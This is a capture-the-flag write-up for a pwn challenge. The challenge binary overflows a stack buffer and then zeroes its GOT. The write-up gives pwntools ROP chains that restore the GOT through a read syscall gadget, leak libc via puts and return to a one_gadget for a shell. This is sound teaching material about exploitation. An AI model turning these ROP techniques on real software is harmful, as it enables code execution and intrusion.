## External #### DescriptionNo description.
#### AuthorM_alpha
#### Points and solves467 points and 69 solves.
We are given a binary, that reads out input, clears the GOT table and somehow we need to get a shell.
```cundefined8 main(void){  undefined buff [80];  puts("ROP me ;)");  printf("> ");  read(0,buff,0xf0);  clear_got();  return 0;}```
The function ```clear_got``` does exactly what we expect it to do, it uses ```memeset``` to set the entire GOT to 0.
In addition, we have a very usefull gadget in one of the setup functions:```asm00401283 0f 05      SYSCALL00401285 c3         RET```
### The vulnerabilityIt is obvious we can overflow ```buff``` and like in the challenge ```echo```,we keep out eyes peeled for a way to abuse the syscall gadaget.
However, is it not a trivial rop chain, because we can't immediatly return to ```plt``` functions.So, after a quick research about dynamic linking, I figured out the following, the GOT entry for any function, say ```printf```, by default is pointing to ```plt.printf + 0x6```At that address lays the dynamic linking routine for ```printf```.If we can set all the zeroed GOT entries to some resolving function in the ```plt``` section, we can reload the GOT entries.
### 1. Setting up conditions for restoring the GOT:```pythonpayload = p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(got_start) + p64(0) + p64(syscall_ret) +\p64(elf.sym.main)payload = 0x58*b"A"+payloadp.sendline(payload)```We have a rop chain that loads ```rdi = 0, rsi = &GOT``` and returns to a syscall, and to main afterwards.Since main returns 0, by the time we are executing the rop chain ```rax``` is 0, which is the syscall number for ```read```.At the time we syscall, we will actually read back into the GOT table.
### 2. Rewriting GOT table:The GOT entries in the binary are in the following order: [puts, setbuf, printf, memset, alarm, read, signal]```pythonpayload = p64(elf.sym.plt["puts"]+6) + p64(elf.sym.plt["setbuf"]+6) + p64(elf.sym.plt["puts"]+6) +\	p64(elf.sym.plt["puts"]+6) + p64(elf.sym.plt["alarm"]+6) + p64(elf.sym.plt["read"]+6) +\	p64(elf.sym.plt["signal"]+6)p.sendline(payload)```So, we load the appropriate ```plt``` values into the GOT, but we can't just load them the same way, because memset will zero them again, so we just patch the GOT entry for memset with ```plt.puts```.Now, by the time we return to ```main``` the function will resolve their addresses based on the ```plt``` values that are in the GOT tablle.
### 3. Leak libc:We now have a "stable" binary that won't erase the GOT on us, and we can just leak libc with a simple rop chain:```pythonpayload = p64(pop_rdi) + p64(elf.sym.got["puts"]) + p64(elf.sym.plt["puts"]) + p64(elf.sym.main)```
### 4. Get shell:We have a one_gadget at ```0x448a3``` offset, we can just return to that with another rop chain.```pythonp.sendline(0x58*b"C" + p64(libc.address + one_shot_offset) + b"\x00"*0x100) ```
#### Flag```flag{0h_nO_My_G0t!!!!1111!1!}```